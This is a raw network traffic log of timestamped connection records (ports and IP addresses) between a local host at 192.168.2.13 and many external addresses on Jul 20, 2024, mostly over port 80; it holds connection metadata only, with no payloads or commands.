Jul 20, 2024 23:01:02.528687000 CEST	8081	36422	131.169.220.199	192.168.2.13
Jul 20, 2024 23:01:02.528907061 CEST	80	55304	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:02.528914928 CEST	80	50568	95.25.43.241	192.168.2.13
Jul 20, 2024 23:01:02.528919935 CEST	80	50568	95.18.111.29	192.168.2.13
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.24.228.99
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.124.57.136
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.194.80.140
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.23.195.153
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.29.88.239
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.20.48.78
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.57.196.181
Jul 20, 2024 23:01:02.529450893 CEST	50568	80	192.168.2.13	95.179.233.251
Jul 20, 2024 23:01:02.529469967 CEST	80	59698	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:02.529474974 CEST	80	33664	88.254.193.19	192.168.2.13
Jul 20, 2024 23:01:02.529484034 CEST	80	58706	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:02.529813051 CEST	80	50568	95.36.133.235	192.168.2.13
Jul 20, 2024 23:01:02.530152082 CEST	80	51416	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:02.530157089 CEST	80	53150	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:02.530160904 CEST	80	60128	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:02.530307055 CEST	80	51004	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:02.530311108 CEST	80	50568	95.132.44.41	192.168.2.13
Jul 20, 2024 23:01:02.530751944 CEST	58018	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.530751944 CEST	58408	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.530752897 CEST	40184	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.530752897 CEST	34244	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.530752897 CEST	50568	80	192.168.2.13	95.95.160.105
Jul 20, 2024 23:01:02.530752897 CEST	50568	80	192.168.2.13	95.175.86.230
Jul 20, 2024 23:01:02.530752897 CEST	50568	80	192.168.2.13	95.125.201.149
Jul 20, 2024 23:01:02.530752897 CEST	50568	80	192.168.2.13	95.242.249.198
Jul 20, 2024 23:01:02.530780077 CEST	80	50568	95.164.169.136	192.168.2.13
Jul 20, 2024 23:01:02.530972958 CEST	80	44874	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:02.530977011 CEST	80	40818	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.156.223.248
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.222.11.197
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.87.57.154
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.79.109.201
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.228.6.252
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.254.168.34
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.77.61.50
Jul 20, 2024 23:01:02.531290054 CEST	50568	80	192.168.2.13	95.16.143.20
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.9.48.36
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.58.164.190
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.72.178.152
Jul 20, 2024 23:01:02.531419992 CEST	58520	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.61.72.47
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.27.4.153
Jul 20, 2024 23:01:02.531419992 CEST	50568	80	192.168.2.13	95.205.61.185
Jul 20, 2024 23:01:02.531548023 CEST	80	50568	95.207.131.192	192.168.2.13
Jul 20, 2024 23:01:02.531552076 CEST	80	50568	95.205.66.29	192.168.2.13
Jul 20, 2024 23:01:02.531560898 CEST	80	50568	95.153.18.182	192.168.2.13
Jul 20, 2024 23:01:02.531708002 CEST	80	50568	95.146.20.10	192.168.2.13
Jul 20, 2024 23:01:02.531713009 CEST	80	38148	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:02.532320023 CEST	80	34470	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:02.532325029 CEST	80	33386	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:02.532509089 CEST	80	50568	95.176.74.83	192.168.2.13
Jul 20, 2024 23:01:02.532514095 CEST	80	56288	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:02.532895088 CEST	80	39202	88.127.108.167	192.168.2.13
Jul 20, 2024 23:01:02.533044100 CEST	80	50568	95.63.99.227	192.168.2.13
Jul 20, 2024 23:01:02.533049107 CEST	80	50568	95.22.187.73	192.168.2.13
Jul 20, 2024 23:01:02.533057928 CEST	80	38382	88.55.82.184	192.168.2.13
Jul 20, 2024 23:01:02.533354044 CEST	80	41588	88.33.168.179	192.168.2.13
Jul 20, 2024 23:01:02.533358097 CEST	80	50568	95.218.112.10	192.168.2.13
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.136.64.145
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.228.151.154
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.231.245.57
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.5.14.203
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.245.194.173
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.9.52.218
Jul 20, 2024 23:01:02.533587933 CEST	50568	80	192.168.2.13	95.91.120.164
Jul 20, 2024 23:01:02.533684969 CEST	80	50568	95.23.2.223	192.168.2.13
Jul 20, 2024 23:01:02.533689022 CEST	80	50568	95.41.164.154	192.168.2.13
Jul 20, 2024 23:01:02.533693075 CEST	80	39960	88.133.110.144	192.168.2.13
Jul 20, 2024 23:01:02.533696890 CEST	80	50568	95.6.129.101	192.168.2.13
Jul 20, 2024 23:01:02.534307003 CEST	80	50568	95.223.80.245	192.168.2.13
Jul 20, 2024 23:01:02.534311056 CEST	80	50568	95.203.151.32	192.168.2.13
Jul 20, 2024 23:01:02.534320116 CEST	80	53662	88.224.81.194	192.168.2.13
Jul 20, 2024 23:01:02.534761906 CEST	80	50568	95.133.116.186	192.168.2.13
Jul 20, 2024 23:01:02.534766912 CEST	80	53014	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:02.534924030 CEST	80	50568	95.192.17.109	192.168.2.13
Jul 20, 2024 23:01:02.534928083 CEST	80	50568	95.13.99.248	192.168.2.13
Jul 20, 2024 23:01:02.534938097 CEST	80	55700	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:02.535079002 CEST	80	48796	88.76.253.23	192.168.2.13
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.157.131.83
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.77.239.251
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.23.105.147
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.119.252.44
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.242.152.110
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.239.121.85
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.255.37.222
Jul 20, 2024 23:01:02.535314083 CEST	50568	80	192.168.2.13	95.106.164.74
Jul 20, 2024 23:01:02.535655022 CEST	80	57328	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:02.535660028 CEST	80	47460	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:02.535669088 CEST	80	58562	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:02.535674095 CEST	80	40854	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:02.536108971 CEST	58290	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:02.536108971 CEST	55710	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.536108971 CEST	47698	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.536108971 CEST	53936	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.536109924 CEST	49494	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.536109924 CEST	35458	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.536109924 CEST	55892	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.536109924 CEST	50568	80	192.168.2.13	95.113.1.14
Jul 20, 2024 23:01:02.536243916 CEST	80	47250	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:02.536359072 CEST	80	58018	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:02.536364079 CEST	80	50568	95.73.230.232	192.168.2.13
Jul 20, 2024 23:01:02.536371946 CEST	80	50568	95.250.83.245	192.168.2.13
Jul 20, 2024 23:01:02.537221909 CEST	50568	80	192.168.2.13	95.62.59.243
Jul 20, 2024 23:01:02.537221909 CEST	50568	80	192.168.2.13	95.79.115.16
Jul 20, 2024 23:01:02.537221909 CEST	50568	80	192.168.2.13	95.160.241.206
Jul 20, 2024 23:01:02.537221909 CEST	58520	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.537221909 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.537221909 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.537221909 CEST	33664	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.537240982 CEST	80	50568	95.32.184.232	192.168.2.13
Jul 20, 2024 23:01:02.537245989 CEST	80	50568	95.156.223.248	192.168.2.13
Jul 20, 2024 23:01:02.537254095 CEST	80	50568	95.38.31.185	192.168.2.13
Jul 20, 2024 23:01:02.537257910 CEST	80	50568	95.9.48.36	192.168.2.13
Jul 20, 2024 23:01:02.537266970 CEST	80	39042	88.169.191.113	192.168.2.13
Jul 20, 2024 23:01:02.537271023 CEST	80	45048	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.100.22.103
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.168.188.241
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.2.94.137
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.97.93.9
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.179.38.151
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.104.104.35
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.32.30.82
Jul 20, 2024 23:01:02.537663937 CEST	50568	80	192.168.2.13	95.17.169.57
Jul 20, 2024 23:01:02.538317919 CEST	80	50568	95.222.11.197	192.168.2.13
Jul 20, 2024 23:01:02.538322926 CEST	80	50568	95.141.0.141	192.168.2.13
Jul 20, 2024 23:01:02.538331985 CEST	80	58408	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:02.538336992 CEST	80	50588	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:02.538495064 CEST	80	50568	95.247.7.72	192.168.2.13
Jul 20, 2024 23:01:02.538499117 CEST	80	50568	95.58.164.190	192.168.2.13
Jul 20, 2024 23:01:02.538899899 CEST	80	50568	95.112.207.235	192.168.2.13
Jul 20, 2024 23:01:02.539496899 CEST	80	50568	95.183.170.210	192.168.2.13
Jul 20, 2024 23:01:02.539501905 CEST	80	50568	95.72.178.152	192.168.2.13
Jul 20, 2024 23:01:02.539511919 CEST	80	50568	95.24.228.99	192.168.2.13
Jul 20, 2024 23:01:02.539516926 CEST	80	50568	95.87.57.154	192.168.2.13
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.37.149.46
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.11.183.120
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.1.73.250
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.225.137.70
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.129.81.173
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.17.3.6
Jul 20, 2024 23:01:02.540060043 CEST	50568	80	192.168.2.13	95.204.240.150
Jul 20, 2024 23:01:02.540060997 CEST	50568	80	192.168.2.13	95.182.68.248
Jul 20, 2024 23:01:02.540525913 CEST	80	40184	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:02.540530920 CEST	80	51966	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:02.540539980 CEST	80	50568	95.136.64.145	192.168.2.13
Jul 20, 2024 23:01:02.540544987 CEST	80	50568	95.61.72.47	192.168.2.13
Jul 20, 2024 23:01:02.540554047 CEST	80	50568	95.124.57.136	192.168.2.13
Jul 20, 2024 23:01:02.540966034 CEST	8081	56016	123.135.78.85	192.168.2.13
Jul 20, 2024 23:01:02.540975094 CEST	80	35054	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:02.540978909 CEST	80	50568	95.14.216.95	192.168.2.13
Jul 20, 2024 23:01:02.540987015 CEST	80	50568	95.79.109.201	192.168.2.13
Jul 20, 2024 23:01:02.540992022 CEST	80	50568	95.228.151.154	192.168.2.13
Jul 20, 2024 23:01:02.540999889 CEST	80	50568	95.27.4.153	192.168.2.13
Jul 20, 2024 23:01:02.541510105 CEST	80	47842	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:02.541515112 CEST	80	54622	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:02.541527987 CEST	80	50568	95.157.131.83	192.168.2.13
Jul 20, 2024 23:01:02.541881084 CEST	80	58290	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:02.541886091 CEST	80	50568	95.231.245.57	192.168.2.13
Jul 20, 2024 23:01:02.541893959 CEST	80	50568	95.194.80.140	192.168.2.13
Jul 20, 2024 23:01:02.542370081 CEST	50568	80	192.168.2.13	95.197.55.123
Jul 20, 2024 23:01:02.542370081 CEST	50568	80	192.168.2.13	95.208.246.138
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.33.84.215
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.48.195.164
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.199.160.211
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.118.95.19
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.148.181.130
Jul 20, 2024 23:01:02.542371035 CEST	50568	80	192.168.2.13	95.149.90.135
Jul 20, 2024 23:01:02.542640924 CEST	80	50568	95.228.6.252	192.168.2.13
Jul 20, 2024 23:01:02.542665958 CEST	50568	80	192.168.2.13	95.200.178.179
Jul 20, 2024 23:01:02.542665958 CEST	50568	80	192.168.2.13	95.107.181.66
Jul 20, 2024 23:01:02.542665958 CEST	50568	80	192.168.2.13	95.237.121.90
Jul 20, 2024 23:01:02.542665958 CEST	50568	80	192.168.2.13	95.138.181.79
Jul 20, 2024 23:01:02.542665958 CEST	50568	80	192.168.2.13	95.182.236.21
Jul 20, 2024 23:01:02.542666912 CEST	50568	80	192.168.2.13	95.133.27.53
Jul 20, 2024 23:01:02.542666912 CEST	50568	80	192.168.2.13	95.78.71.116
Jul 20, 2024 23:01:02.542666912 CEST	50568	80	192.168.2.13	95.170.152.141
Jul 20, 2024 23:01:02.543082952 CEST	80	50568	95.205.61.185	192.168.2.13
Jul 20, 2024 23:01:02.543087006 CEST	80	34244	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:02.543096066 CEST	80	50568	95.215.120.164	192.168.2.13
Jul 20, 2024 23:01:02.543168068 CEST	80	50568	95.95.160.105	192.168.2.13
Jul 20, 2024 23:01:02.543171883 CEST	80	55710	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:02.543180943 CEST	80	50568	95.62.59.243	192.168.2.13
Jul 20, 2024 23:01:02.543219090 CEST	50568	80	192.168.2.13	95.172.109.170
Jul 20, 2024 23:01:02.543219090 CEST	50568	80	192.168.2.13	95.250.194.2
Jul 20, 2024 23:01:02.543219090 CEST	48938	52869	192.168.2.13	82.166.201.81
Jul 20, 2024 23:01:02.543219090 CEST	50568	80	192.168.2.13	95.205.66.29
Jul 20, 2024 23:01:02.543219090 CEST	50568	80	192.168.2.13	95.63.99.227
Jul 20, 2024 23:01:02.543219090 CEST	50568	80	192.168.2.13	95.23.2.223
Jul 20, 2024 23:01:02.543287039 CEST	80	50568	95.254.168.34	192.168.2.13
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.250.83.245
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.9.48.36
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.58.164.190
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.72.178.152
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.61.72.47
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.27.4.153
Jul 20, 2024 23:01:02.543642998 CEST	50568	80	192.168.2.13	95.205.61.185
Jul 20, 2024 23:01:02.543853998 CEST	80	50568	95.23.195.153	192.168.2.13
Jul 20, 2024 23:01:02.543859005 CEST	80	50568	95.79.115.16	192.168.2.13
Jul 20, 2024 23:01:02.544511080 CEST	80	50568	95.77.61.50	192.168.2.13
Jul 20, 2024 23:01:02.544516087 CEST	80	50568	95.175.86.230	192.168.2.13
Jul 20, 2024 23:01:02.544524908 CEST	80	50568	95.100.22.103	192.168.2.13
Jul 20, 2024 23:01:02.544797897 CEST	80	47698	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:02.544811964 CEST	80	50568	95.168.188.241	192.168.2.13
Jul 20, 2024 23:01:02.544816017 CEST	80	53936	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:02.545253992 CEST	80	50568	95.5.14.203	192.168.2.13
Jul 20, 2024 23:01:02.545258045 CEST	80	50568	95.16.143.20	192.168.2.13
Jul 20, 2024 23:01:02.545267105 CEST	80	50568	95.77.239.251	192.168.2.13
Jul 20, 2024 23:01:02.545614004 CEST	80	50568	95.160.241.206	192.168.2.13
Jul 20, 2024 23:01:02.545619011 CEST	80	50568	95.245.194.173	192.168.2.13
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.166.226.75
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.38.153.44
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.93.204.168
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.218.87.31
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.18.111.29
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.164.169.136
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.207.131.192
Jul 20, 2024 23:01:02.545708895 CEST	50568	80	192.168.2.13	95.146.20.10
Jul 20, 2024 23:01:02.546227932 CEST	80	50568	95.29.88.239	192.168.2.13
Jul 20, 2024 23:01:02.546232939 CEST	80	50568	95.37.149.46	192.168.2.13
Jul 20, 2024 23:01:02.546241999 CEST	80	50568	95.23.105.147	192.168.2.13
Jul 20, 2024 23:01:02.546246052 CEST	80	50568	95.9.52.218	192.168.2.13
Jul 20, 2024 23:01:02.546255112 CEST	80	50568	95.11.183.120	192.168.2.13
Jul 20, 2024 23:01:02.546258926 CEST	80	50568	95.20.48.78	192.168.2.13
Jul 20, 2024 23:01:02.546483040 CEST	34244	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.546483994 CEST	50568	80	192.168.2.13	95.238.146.206
Jul 20, 2024 23:01:02.546483994 CEST	50568	80	192.168.2.13	95.173.78.236
Jul 20, 2024 23:01:02.546483994 CEST	32832	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:02.546483994 CEST	50568	80	192.168.2.13	95.194.51.12
Jul 20, 2024 23:01:02.546483994 CEST	50568	80	192.168.2.13	95.129.159.89
Jul 20, 2024 23:01:02.546483994 CEST	50568	80	192.168.2.13	95.82.116.56
Jul 20, 2024 23:01:02.546885967 CEST	80	50568	95.1.73.250	192.168.2.13
Jul 20, 2024 23:01:02.546890974 CEST	80	50568	95.119.252.44	192.168.2.13
Jul 20, 2024 23:01:02.546899080 CEST	80	58520	88.120.8.20	192.168.2.13
Jul 20, 2024 23:01:02.547355890 CEST	80	50568	95.242.152.110	192.168.2.13
Jul 20, 2024 23:01:02.547359943 CEST	80	50568	95.57.196.181	192.168.2.13
Jul 20, 2024 23:01:02.547369003 CEST	80	50568	95.239.121.85	192.168.2.13
Jul 20, 2024 23:01:02.547761917 CEST	80	50568	95.179.233.251	192.168.2.13
Jul 20, 2024 23:01:02.547765970 CEST	80	50568	95.225.137.70	192.168.2.13
Jul 20, 2024 23:01:02.547775030 CEST	80	50568	95.91.120.164	192.168.2.13
Jul 20, 2024 23:01:02.547935963 CEST	80	50568	95.255.37.222	192.168.2.13
Jul 20, 2024 23:01:02.548460007 CEST	80	50568	95.106.164.74	192.168.2.13
Jul 20, 2024 23:01:02.548464060 CEST	37215	55314	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:02.548922062 CEST	80	50568	95.129.81.173	192.168.2.13
Jul 20, 2024 23:01:02.548927069 CEST	80	50568	95.200.178.179	192.168.2.13
Jul 20, 2024 23:01:02.548934937 CEST	80	50568	95.17.3.6	192.168.2.13
Jul 20, 2024 23:01:02.549206018 CEST	50568	80	192.168.2.13	95.62.59.243
Jul 20, 2024 23:01:02.549206018 CEST	50568	80	192.168.2.13	95.79.115.16
Jul 20, 2024 23:01:02.549206018 CEST	50568	80	192.168.2.13	95.160.241.206
Jul 20, 2024 23:01:02.549206018 CEST	58520	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.549722910 CEST	80	50568	95.172.109.170	192.168.2.13
Jul 20, 2024 23:01:02.549726963 CEST	80	50568	95.107.181.66	192.168.2.13
Jul 20, 2024 23:01:02.549736023 CEST	80	50568	95.197.55.123	192.168.2.13
Jul 20, 2024 23:01:02.549740076 CEST	80	50568	95.237.121.90	192.168.2.13
Jul 20, 2024 23:01:02.549748898 CEST	80	50568	95.208.246.138	192.168.2.13
Jul 20, 2024 23:01:02.549948931 CEST	80	50568	95.204.240.150	192.168.2.13
Jul 20, 2024 23:01:02.549952984 CEST	80	50568	95.33.84.215	192.168.2.13
Jul 20, 2024 23:01:02.550765991 CEST	80	50568	95.2.94.137	192.168.2.13
Jul 20, 2024 23:01:02.550770044 CEST	80	50568	95.138.181.79	192.168.2.13
Jul 20, 2024 23:01:02.550779104 CEST	80	50568	95.182.68.248	192.168.2.13
Jul 20, 2024 23:01:02.551126003 CEST	80	50568	95.97.93.9	192.168.2.13
Jul 20, 2024 23:01:02.551131010 CEST	80	50568	95.125.201.149	192.168.2.13
Jul 20, 2024 23:01:02.551985025 CEST	50568	80	192.168.2.13	95.203.21.186
Jul 20, 2024 23:01:02.551985025 CEST	50568	80	192.168.2.13	95.200.79.215
Jul 20, 2024 23:01:02.551985025 CEST	50568	80	192.168.2.13	95.180.245.18
Jul 20, 2024 23:01:02.551985025 CEST	50568	80	192.168.2.13	95.13.99.248
Jul 20, 2024 23:01:02.551985025 CEST	50568	80	192.168.2.13	95.38.31.185
Jul 20, 2024 23:01:02.552052975 CEST	80	50568	95.179.38.151	192.168.2.13
Jul 20, 2024 23:01:02.552321911 CEST	80	50568	95.242.249.198	192.168.2.13
Jul 20, 2024 23:01:02.552325964 CEST	80	49494	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:02.552335978 CEST	80	50568	95.250.194.2	192.168.2.13
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.32.184.232
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.183.170.210
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.14.216.95
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.157.131.83
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.77.239.251
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.23.105.147
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.119.252.44
Jul 20, 2024 23:01:02.552406073 CEST	50568	80	192.168.2.13	95.242.152.110
Jul 20, 2024 23:01:02.552428007 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.47.91.118
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.111.161.233
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.69.147.226
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.15.34.118
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.161.231.209
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.166.15.17
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.206.39.224
Jul 20, 2024 23:01:02.552692890 CEST	50568	80	192.168.2.13	95.250.42.86
Jul 20, 2024 23:01:02.552773952 CEST	80	50568	95.104.104.35	192.168.2.13
Jul 20, 2024 23:01:02.552778959 CEST	80	35458	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:02.553409100 CEST	80	50568	95.166.226.75	192.168.2.13
Jul 20, 2024 23:01:02.553941965 CEST	80	50568	95.238.146.206	192.168.2.13
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.250.227.110
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.25.43.241
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.36.133.235
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.132.44.41
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.153.18.182
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.41.164.154
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.6.129.101
Jul 20, 2024 23:01:02.554209948 CEST	50568	80	192.168.2.13	95.203.151.32
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.209.148.172
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.123.86.123
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.94.163.97
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.79.18.46
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.41.248.213
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.112.183.46
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.61.2.89
Jul 20, 2024 23:01:02.554480076 CEST	50568	80	192.168.2.13	95.155.49.253
Jul 20, 2024 23:01:02.554730892 CEST	80	50568	95.182.236.21	192.168.2.13
Jul 20, 2024 23:01:02.554861069 CEST	80	50568	95.48.195.164	192.168.2.13
Jul 20, 2024 23:01:02.554866076 CEST	80	50568	95.133.27.53	192.168.2.13
Jul 20, 2024 23:01:02.554874897 CEST	80	50568	95.38.153.44	192.168.2.13
Jul 20, 2024 23:01:02.554912090 CEST	80	50568	95.78.71.116	192.168.2.13
Jul 20, 2024 23:01:02.555093050 CEST	80	50568	95.173.78.236	192.168.2.13
Jul 20, 2024 23:01:02.555507898 CEST	50568	80	192.168.2.13	95.176.74.83
Jul 20, 2024 23:01:02.555507898 CEST	50568	80	192.168.2.13	95.22.187.73
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.218.112.10
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.223.80.245
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.192.17.109
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.73.230.232
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.156.223.248
Jul 20, 2024 23:01:02.555509090 CEST	50568	80	192.168.2.13	95.222.11.197
Jul 20, 2024 23:01:02.555730104 CEST	80	50568	95.93.204.168	192.168.2.13
Jul 20, 2024 23:01:02.556478024 CEST	80	50568	95.199.160.211	192.168.2.13
Jul 20, 2024 23:01:02.556879044 CEST	8081	44796	14.18.87.181	192.168.2.13
Jul 20, 2024 23:01:02.556884050 CEST	80	57876	88.120.8.20	192.168.2.13
Jul 20, 2024 23:01:02.556898117 CEST	80	50568	95.32.30.82	192.168.2.13
Jul 20, 2024 23:01:02.556906939 CEST	80	55892	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:02.557061911 CEST	80	50568	95.170.152.141	192.168.2.13
Jul 20, 2024 23:01:02.557066917 CEST	80	50568	95.118.95.19	192.168.2.13
